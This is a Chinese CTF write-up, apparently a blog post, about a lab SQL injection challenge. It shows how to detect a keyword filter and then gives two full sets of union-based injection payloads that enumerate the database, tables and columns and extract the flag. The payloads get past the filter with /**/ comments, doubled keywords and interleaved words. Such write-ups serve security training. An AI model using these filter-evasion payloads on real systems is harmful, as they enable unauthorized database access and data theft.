實(shí)驗(yàn)吧CTF——Web之簡單的sql注入WriteUp

知識點(diǎn):遇到過濾關(guān)鍵字的情況,可以通過雙寫、交叉、/**/替代空格等方法來處理


判斷注入類型

????基本的sql注入測試,首先輸入1或者abc,正常的輸入,沒有報(bào)錯;

? ? 其次輸入' or '1,發(fā)現(xiàn)沒有報(bào)錯,說明正確的拼接查詢字符串也可以進(jìn)行;

????繼續(xù)輸入' select '1,結(jié)果是' '1,說明select被過濾了;

????嘗試輸入' select/**/'1,發(fā)現(xiàn)有報(bào)錯;

????嘗試輸入'/**/select '1,發(fā)現(xiàn)結(jié)果是'/**/'1,這說明真正被過濾的是select (select+一個空格);

????綜上所述,發(fā)現(xiàn)了真正過濾的是(關(guān)鍵字+一個空格)。


????以下兩種注入設(shè)計(jì)思路邏輯類似,只是具體實(shí)現(xiàn)過程不同,學(xué)會任意一種即可


設(shè)計(jì)注入語句(/**/+交叉)

????發(fā)現(xiàn)注入類型之后,可以用/**/代替空格的方法來進(jìn)行應(yīng)對過濾規(guī)則。

????構(gòu)建'union/**/select/**/database()',查詢到數(shù)據(jù)庫的名稱為web1;

????構(gòu)建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/='web1,發(fā)現(xiàn)會報(bào)錯,經(jīng)過是試錯后發(fā)現(xiàn)table_schema會過濾。但是過濾規(guī)則跟上述還不同,這個只是過濾table_schema,所有用交叉法來應(yīng)對過濾規(guī)則;

????所以構(gòu)建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa/**/='web1,得到表的名稱為flag(或者web_1);

????構(gòu)建'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag,同樣發(fā)現(xiàn)會過濾column_name和information_schema.columns,用交叉法來應(yīng)對;

????所以構(gòu)建'union/**/select/**/column_namcolumn_namee/**/from/**/information_schema.columninformation_schema.columnss/**/where/**/table_name='flag,得到列的名稱為flag(或者id);

????最后構(gòu)建'union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1查詢列flag內(nèi)容,得到flag的值


設(shè)計(jì)注入語句(雙寫+交叉)

????發(fā)現(xiàn)注入類型之后,可以用雙寫關(guān)鍵字的方法來進(jìn)行應(yīng)對過濾規(guī)則。(注意,關(guān)鍵詞后面需要加兩個空格)

? ? 構(gòu)建'unionunion? selectselect? database()',查詢到數(shù)據(jù)庫的名稱為web1;

? ? 構(gòu)建'unionunion? selectselect? table_name?fromfrom??information_schema.tables?wherewhere? table_schema='web1,發(fā)現(xiàn)會報(bào)錯,經(jīng)過是試錯后發(fā)現(xiàn)table_schema會過濾。但是過濾規(guī)則跟上述還不同,這個只是過濾table_schema,所有用交叉法來應(yīng)對過濾規(guī)則;

? ? 所以構(gòu)建'unionunion? selectselect? table_name?fromfrom??information_schema.tables wherewhere? table_schemtable_schemaa='web1,得到表的名稱為flag(或者web_1);

? ? 構(gòu)建'unionunion? selectselect?column_name?fromfrom??information_schema.columns??wherewhere? table_name='flag,同樣發(fā)現(xiàn)會過濾column_name和information_schema.columns,用交叉法來應(yīng)對;

? ? 所以構(gòu)建'unionunion? selectselect? column_namcolumn_namee?fromfrom??information_schema.columninformation_schema.columnss?wherewhere? table_name='flag,得到列的名稱為flag(或者id);

????最后構(gòu)建'unionunion ?selectselect ?flag fromfrom ?flag wherewhere ? '1' ='1查詢列flag內(nèi)容,得到flag的值


如有不當(dāng)之處,歡迎指正討論

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容